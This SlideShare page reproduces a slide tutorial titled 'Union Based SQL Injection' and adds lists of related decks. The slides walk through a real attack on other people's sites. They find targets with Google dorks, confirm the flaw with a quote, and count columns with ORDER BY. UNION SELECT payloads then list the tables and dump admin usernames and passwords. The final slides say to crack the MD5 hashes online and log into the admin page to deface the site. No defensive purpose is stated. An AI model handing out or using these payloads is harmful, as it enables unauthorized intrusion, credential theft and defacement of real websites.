SlideShare a Scribd company logo
Union Based
SQL Injection
The Basic & First Stage of
Manual SQL Injection.
Finding Vulnerable Sites
 To Find Vulnerable Sites we use Google
dorks.
 Index.php?id= (Example of Google Dork)
 Dorks???? Shared Along with this Tutorial.
Checking Vulnerability
 In order to check the vulnerability of site we add
the single quote (‘) at the end of url & hit enter.
 Www.site.com/index.php?id=1’
if the page remains same it means it is not vuln, if it
is showing any error which related to sql query,
then it is vulnerable.
Finding Number of Columns
 To find number of column in site’s
database we replace quote(‘) with order
by n statement.
 Change the n from 1,2,3,4,……n Until you
get the error like “Unknown Column”
 If you get Unknown column on 6 number
then 5 columns are there in database of
site.
Finding Vulnerable Column
 To find the vulnerable column we put (-)
before ID number. Like index.php?id=-2
 & also we replace order by statement
with union select.After union select we
type all the number of columns like
site.com/index.php?id=-2 union select
1,2,3,4,5—
 After it we will get a bold number on
page
Finding Version, DB & user
 Now in the last slide we found vulnerable
column which was bold.
 To find version ,database or user we
replace vulnerable column.
 Version()
 Database()
 User()
if the above don’t work then user
hex(@@version))
Finding Table Name
 To find table names user the following
statements.
 Group_concat(table_name)
information_schema.tables where
table_schema=database()—
 Replace group_concat(table_name) with
vulnerable column number. & type the
second query after total column numbers like
site.com/index.php?id=-2 union select
1,2,3,4,group_concat(table_name),6 from
information_schema.tables where
table_schema=database()--
Dumping Admin Table
 Group_concat(column_name)
FROM information_schema.columns WHERE
table_name=mysqlchar()—
 Download & install hackbar in Mozilla Firefox
https://addons.mozilla.org/en-
US/firefox/addon/3899
 Select sql>Mysql>MysqlChar()
 Then a small window will open type admin
table name like in mine case it is tbl_admin
click ok. Copy & paste the Chars instead of
mysqlchar()
Extracting Admin info
 After hitting enter you will see admin
username,passsword,id,type & many more
columns on the page.
 To Dump user name ,password replace
group_concat(column_name) with
group_concat(username,0x3a,password)
 Replace information_schema…. Balah blah
with just simple from admin table name
like index.php?id=-2 union select
1,2,3,4,group_concat(username,0x3a,passwor
d),6 from tbl_admin--
Extra Guideline
 To deface site you should have to find
admin page which will be like
site.com/admin
site.com/login.php
etc etc
 Before this you should have to decrypt
md5 hashed password with online sites like
md5online.org
 <3 
 Thanks for Watching I hope you have liked
it  I am Always Available for live help on
team viewer please contact me in any
issue
 Facebook.com/backk.sppac3
 Facebook.com/UrduTutorialsPoint
 Stay Connected <3 for More Tutorials
Ad

More Related Content

What's hot (13)

Sql select statement
Sql select statementSql select statement
Sql select statement
Vivek Singh
 
How did i steal your database CSCamp2011
How did i steal your database CSCamp2011How did i steal your database CSCamp2011
How did i steal your database CSCamp2011
Mostafa Siraj
 
Sql
SqlSql
Sql
krishna_v111
 
MYSQL join
MYSQL joinMYSQL join
MYSQL join
Ahmed Farag
 
e computer notes - From multiple tables
e computer notes - From multiple tablese computer notes - From multiple tables
e computer notes - From multiple tables
ecomputernotes
 
SQL UNION
SQL UNIONSQL UNION
SQL UNION
Ritwik Das
 
Sql modifying data - MYSQL part I
Sql modifying data - MYSQL part ISql modifying data - MYSQL part I
Sql modifying data - MYSQL part I
Ahmed Farag
 
Oracle apps financial online training
Oracle apps financial online trainingOracle apps financial online training
Oracle apps financial online training
magnifics
 
A Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQLA Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQL
kobaitari
 
Computing assignment 02 ms access (bilal maqbool 10) se-i
Computing assignment 02   ms access (bilal maqbool 10)          se-iComputing assignment 02   ms access (bilal maqbool 10)          se-i
Computing assignment 02 ms access (bilal maqbool 10) se-i
Bilal Maqbool ツ
 
RDBMS Lab03 applying constraints (UIU)
RDBMS Lab03 applying constraints (UIU)RDBMS Lab03 applying constraints (UIU)
RDBMS Lab03 applying constraints (UIU)
Muhammad T Q Nafis
 
Mysql database
Mysql databaseMysql database
Mysql database
mayank78634
 
Displaying data from multiple tables
Displaying data from multiple tablesDisplaying data from multiple tables
Displaying data from multiple tables
Syed Zaid Irshad
 
Sql select statement
Sql select statementSql select statement
Sql select statement
Vivek Singh
 
How did i steal your database CSCamp2011
How did i steal your database CSCamp2011How did i steal your database CSCamp2011
How did i steal your database CSCamp2011
Mostafa Siraj
 
e computer notes - From multiple tables
e computer notes - From multiple tablese computer notes - From multiple tables
e computer notes - From multiple tables
ecomputernotes
 
Sql modifying data - MYSQL part I
Sql modifying data - MYSQL part ISql modifying data - MYSQL part I
Sql modifying data - MYSQL part I
Ahmed Farag
 
Oracle apps financial online training
Oracle apps financial online trainingOracle apps financial online training
Oracle apps financial online training
magnifics
 
A Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQLA Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQL
kobaitari
 
Computing assignment 02 ms access (bilal maqbool 10) se-i
Computing assignment 02   ms access (bilal maqbool 10)          se-iComputing assignment 02   ms access (bilal maqbool 10)          se-i
Computing assignment 02 ms access (bilal maqbool 10) se-i
Bilal Maqbool ツ
 
RDBMS Lab03 applying constraints (UIU)
RDBMS Lab03 applying constraints (UIU)RDBMS Lab03 applying constraints (UIU)
RDBMS Lab03 applying constraints (UIU)
Muhammad T Q Nafis
 
Displaying data from multiple tables
Displaying data from multiple tablesDisplaying data from multiple tables
Displaying data from multiple tables
Syed Zaid Irshad
 

Viewers also liked (9)

Practical Approach towards SQLi ppt
Practical Approach towards SQLi pptPractical Approach towards SQLi ppt
Practical Approach towards SQLi ppt
Ahamed Saleem
 
Blind SQL Injection - Optimization Techniques
Blind SQL Injection - Optimization TechniquesBlind SQL Injection - Optimization Techniques
Blind SQL Injection - Optimization Techniques
amiable_indian
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
Abhinav Nair
 
Sql injection 幼幼班
Sql injection 幼幼班Sql injection 幼幼班
Sql injection 幼幼班
hugo lu
 
Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injection
matt_presson
 
Types of sql injection attacks
Types of sql injection attacksTypes of sql injection attacks
Types of sql injection attacks
Respa Peter
 
Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)
Bernardo Damele A. G.
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and prevention
helloanand
 
Sql injection
Sql injectionSql injection
Sql injection
Pallavi Biswas
 
Practical Approach towards SQLi ppt
Practical Approach towards SQLi pptPractical Approach towards SQLi ppt
Practical Approach towards SQLi ppt
Ahamed Saleem
 
Blind SQL Injection - Optimization Techniques
Blind SQL Injection - Optimization TechniquesBlind SQL Injection - Optimization Techniques
Blind SQL Injection - Optimization Techniques
amiable_indian
 
Sql injection 幼幼班
Sql injection 幼幼班Sql injection 幼幼班
Sql injection 幼幼班
hugo lu
 
Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injection
matt_presson
 
Types of sql injection attacks
Types of sql injection attacksTypes of sql injection attacks
Types of sql injection attacks
Respa Peter
 
Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)
Bernardo Damele A. G.
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and prevention
helloanand
 
Ad

Similar to Union based sql injection by Urdu Tutorials Point (20)

SQL Injection
SQL Injection SQL Injection
SQL Injection
Adhoura Academy
 
Sql injections
Sql injectionsSql injections
Sql injections
Manish Kushwaha
 
Sql injection - security testing
Sql injection - security testingSql injection - security testing
Sql injection - security testing
Napendra Singh
 
Database object, sub query, Join Commands & Lab Assignment
Database object, sub query, Join Commands & Lab AssignmentDatabase object, sub query, Join Commands & Lab Assignment
Database object, sub query, Join Commands & Lab Assignment
Arun Sial
 
Sql injection
Sql injectionSql injection
Sql injection
Mehul Boghra
 
Sql injection
Sql injectionSql injection
Sql injection
Nitish Kumar
 
Sq li
Sq liSq li
Sq li
Ashok kumar sandhyala
 
9 Python programming notes for ktu physics and computer application semester 4
9 Python programming notes for ktu  physics and computer application semester 49 Python programming notes for ktu  physics and computer application semester 4
9 Python programming notes for ktu physics and computer application semester 4
ebindboby1
 
Sql Injection and Entity Frameworks
Sql Injection and Entity FrameworksSql Injection and Entity Frameworks
Sql Injection and Entity Frameworks
Rich Helton
 
How to Hack Website using SQL Injection Attack
How to Hack Website using SQL Injection AttackHow to Hack Website using SQL Injection Attack
How to Hack Website using SQL Injection Attack
Cybrary Tech
 
SQL2SPARQL
SQL2SPARQLSQL2SPARQL
SQL2SPARQL
Alexandru Dron
 
Blind sql injection
Blind sql injectionBlind sql injection
Blind sql injection
Kagi Adrian Zinelli
 
Blind sql injection
Blind sql injectionBlind sql injection
Blind sql injection
Kagi Adrian Zinelli
 
Sql Injection
Sql Injection Sql Injection
Sql Injection
Sanjeev Kumar Jaiswal
 
Sql injection
Sql injectionSql injection
Sql injection
Nikunj Dhameliya
 
Chapter8 my sql revision tour
Chapter8 my sql revision tourChapter8 my sql revision tour
Chapter8 my sql revision tour
KV(AFS) Utarlai, Barmer (Rajasthan)
 
SQL Database Performance Tuning for Developers
SQL Database Performance Tuning for DevelopersSQL Database Performance Tuning for Developers
SQL Database Performance Tuning for Developers
BRIJESH KUMAR
 
Synapseindia dot net development
Synapseindia dot net developmentSynapseindia dot net development
Synapseindia dot net development
Synapseindiappsdevelopment
 
Database programming
Database programmingDatabase programming
Database programming
Shree M.L.Kakadiya MCA mahila college, Amreli
 
ShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)SqlShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)Sql
Chema Alonso
 
Ad

Recently uploaded (13)

Pengenalan Berpikir Kritis Critical_Thinking_Intro.pptx
Pengenalan Berpikir Kritis Critical_Thinking_Intro.pptxPengenalan Berpikir Kritis Critical_Thinking_Intro.pptx
Pengenalan Berpikir Kritis Critical_Thinking_Intro.pptx
JabbarAPanggabean
 
crucial-conversations-training-powerpoint.pptx
crucial-conversations-training-powerpoint.pptxcrucial-conversations-training-powerpoint.pptx
crucial-conversations-training-powerpoint.pptx
vikramdas40
 
Spain is a country in southwestern Europe, located on the Iberian Peninsula. ...
Spain is a country in southwestern Europe, located on the Iberian Peninsula. ...Spain is a country in southwestern Europe, located on the Iberian Peninsula. ...
Spain is a country in southwestern Europe, located on the Iberian Peninsula. ...
leonardoquispeyapu6
 
Blue Cream Bold Simple Weekly Study Planner 2025.pdf
Blue Cream Bold Simple Weekly Study Planner 2025.pdfBlue Cream Bold Simple Weekly Study Planner 2025.pdf
Blue Cream Bold Simple Weekly Study Planner 2025.pdf
Vikash Gautam
 
Embracing Adaptability (setback) - Istvan Patzay
Embracing Adaptability (setback) - Istvan PatzayEmbracing Adaptability (setback) - Istvan Patzay
Embracing Adaptability (setback) - Istvan Patzay
isti84
 
Sentence-Errors.pptxssssssssssssssssssss
Sentence-Errors.pptxssssssssssssssssssssSentence-Errors.pptxssssssssssssssssssss
Sentence-Errors.pptxssssssssssssssssssss
rexjosiahzosa
 
Cognitive development revised - Copy.ppt
Cognitive development revised - Copy.pptCognitive development revised - Copy.ppt
Cognitive development revised - Copy.ppt
MasahiroNagasawa1
 
CUTS Report by JOHN MEYNARD BARRUGA BAUTISTA, SHENE MERRYLAND BAUTISTA, AND A...
CUTS Report by JOHN MEYNARD BARRUGA BAUTISTA, SHENE MERRYLAND BAUTISTA, AND A...CUTS Report by JOHN MEYNARD BARRUGA BAUTISTA, SHENE MERRYLAND BAUTISTA, AND A...
CUTS Report by JOHN MEYNARD BARRUGA BAUTISTA, SHENE MERRYLAND BAUTISTA, AND A...
johnmeynardbautista9
 
ee case study and evaluation of biodiesel
ee case study and evaluation of biodieselee case study and evaluation of biodiesel
ee case study and evaluation of biodiesel
SwaroopDalvi
 
Emotions and emotional intelligence skills
Emotions and emotional intelligence skillsEmotions and emotional intelligence skills
Emotions and emotional intelligence skills
DRKAMINIBHASIN
 
Erikson’s theory , 8-stages of life , their importance
Erikson’s theory , 8-stages of life , their importanceErikson’s theory , 8-stages of life , their importance
Erikson’s theory , 8-stages of life , their importance
uf415127
 
UNIT 1 human rsource management presentation
UNIT 1 human rsource management presentationUNIT 1 human rsource management presentation
UNIT 1 human rsource management presentation
1712117
 
Unlocking the Secrets of Love: The Science Behind Heartfelt Connections
Unlocking the Secrets of Love: The Science Behind Heartfelt ConnectionsUnlocking the Secrets of Love: The Science Behind Heartfelt Connections
Unlocking the Secrets of Love: The Science Behind Heartfelt Connections
Vikash Gautam
 
Pengenalan Berpikir Kritis Critical_Thinking_Intro.pptx
Pengenalan Berpikir Kritis Critical_Thinking_Intro.pptxPengenalan Berpikir Kritis Critical_Thinking_Intro.pptx
Pengenalan Berpikir Kritis Critical_Thinking_Intro.pptx
JabbarAPanggabean
 
crucial-conversations-training-powerpoint.pptx
crucial-conversations-training-powerpoint.pptxcrucial-conversations-training-powerpoint.pptx
crucial-conversations-training-powerpoint.pptx
vikramdas40
 
Spain is a country in southwestern Europe, located on the Iberian Peninsula. ...
Spain is a country in southwestern Europe, located on the Iberian Peninsula. ...Spain is a country in southwestern Europe, located on the Iberian Peninsula. ...
Spain is a country in southwestern Europe, located on the Iberian Peninsula. ...
leonardoquispeyapu6
 
Blue Cream Bold Simple Weekly Study Planner 2025.pdf
Blue Cream Bold Simple Weekly Study Planner 2025.pdfBlue Cream Bold Simple Weekly Study Planner 2025.pdf
Blue Cream Bold Simple Weekly Study Planner 2025.pdf
Vikash Gautam
 
Embracing Adaptability (setback) - Istvan Patzay
Embracing Adaptability (setback) - Istvan PatzayEmbracing Adaptability (setback) - Istvan Patzay
Embracing Adaptability (setback) - Istvan Patzay
isti84
 
Sentence-Errors.pptxssssssssssssssssssss
Sentence-Errors.pptxssssssssssssssssssssSentence-Errors.pptxssssssssssssssssssss
Sentence-Errors.pptxssssssssssssssssssss
rexjosiahzosa
 
Cognitive development revised - Copy.ppt
Cognitive development revised - Copy.pptCognitive development revised - Copy.ppt
Cognitive development revised - Copy.ppt
MasahiroNagasawa1
 
CUTS Report by JOHN MEYNARD BARRUGA BAUTISTA, SHENE MERRYLAND BAUTISTA, AND A...
CUTS Report by JOHN MEYNARD BARRUGA BAUTISTA, SHENE MERRYLAND BAUTISTA, AND A...CUTS Report by JOHN MEYNARD BARRUGA BAUTISTA, SHENE MERRYLAND BAUTISTA, AND A...
CUTS Report by JOHN MEYNARD BARRUGA BAUTISTA, SHENE MERRYLAND BAUTISTA, AND A...
johnmeynardbautista9
 
ee case study and evaluation of biodiesel
ee case study and evaluation of biodieselee case study and evaluation of biodiesel
ee case study and evaluation of biodiesel
SwaroopDalvi
 
Emotions and emotional intelligence skills
Emotions and emotional intelligence skillsEmotions and emotional intelligence skills
Emotions and emotional intelligence skills
DRKAMINIBHASIN
 
Erikson’s theory , 8-stages of life , their importance
Erikson’s theory , 8-stages of life , their importanceErikson’s theory , 8-stages of life , their importance
Erikson’s theory , 8-stages of life , their importance
uf415127
 
UNIT 1 human rsource management presentation
UNIT 1 human rsource management presentationUNIT 1 human rsource management presentation
UNIT 1 human rsource management presentation
1712117
 
Unlocking the Secrets of Love: The Science Behind Heartfelt Connections
Unlocking the Secrets of Love: The Science Behind Heartfelt ConnectionsUnlocking the Secrets of Love: The Science Behind Heartfelt Connections
Unlocking the Secrets of Love: The Science Behind Heartfelt Connections
Vikash Gautam
 

Union based sql injection by Urdu Tutorials Point

  • 1. Union Based SQL Injection The Basic & First Stage of Manual SQL Injection.
  • 2. Finding Vulnerable Sites  To Find Vulnerable Sites we use Google dorks.  Index.php?id= (Example of Google Dork)  Dorks???? Shared Along with this Tutorial.
  • 3. Checking Vulnerability  In order to check the vulnerability of site we add the single quote (‘) at the end of url & hit enter.  Www.site.com/index.php?id=1’ if the page remains same it means it is not vuln, if it is showing any error which related to sql query, then it is vulnerable.
  • 4. Finding Number of Columns  To find number of column in site’s database we replace quote(‘) with order by n statement.  Change the n from 1,2,3,4,……n Until you get the error like “Unknown Column”  If you get Unknown column on 6 number then 5 columns are there in database of site.
  • 5. Finding Vulnerable Column  To find the vulnerable column we put (-) before ID number. Like index.php?id=-2  & also we replace order by statement with union select.After union select we type all the number of columns like site.com/index.php?id=-2 union select 1,2,3,4,5—  After it we will get a bold number on page
  • 6. Finding Version, DB & user  Now in the last slide we found vulnerable column which was bold.  To find version ,database or user we replace vulnerable column.  Version()  Database()  User() if the above don’t work then user hex(@@version))
  • 7. Finding Table Name  To find table names user the following statements.  Group_concat(table_name) information_schema.tables where table_schema=database()—  Replace group_concat(table_name) with vulnerable column number. & type the second query after total column numbers like site.com/index.php?id=-2 union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=database()--
  • 8. Dumping Admin Table  Group_concat(column_name) FROM information_schema.columns WHERE table_name=mysqlchar()—  Download & install hackbar in Mozilla Firefox https://addons.mozilla.org/en- US/firefox/addon/3899  Select sql>Mysql>MysqlChar()  Then a small window will open type admin table name like in mine case it is tbl_admin click ok. Copy & paste the Chars instead of mysqlchar()
  • 9. Extracting Admin info  After hitting enter you will see admin username,passsword,id,type & many more columns on the page.  To Dump user name ,password replace group_concat(column_name) with group_concat(username,0x3a,password)  Replace information_schema…. Balah blah with just simple from admin table name like index.php?id=-2 union select 1,2,3,4,group_concat(username,0x3a,passwor d),6 from tbl_admin--
  • 10. Extra Guideline  To deface site you should have to find admin page which will be like site.com/admin site.com/login.php etc etc  Before this you should have to decrypt md5 hashed password with online sites like md5online.org
  • 11.  <3   Thanks for Watching I hope you have liked it  I am Always Available for live help on team viewer please contact me in any issue  Facebook.com/backk.sppac3  Facebook.com/UrduTutorialsPoint  Stay Connected <3 for More Tutorials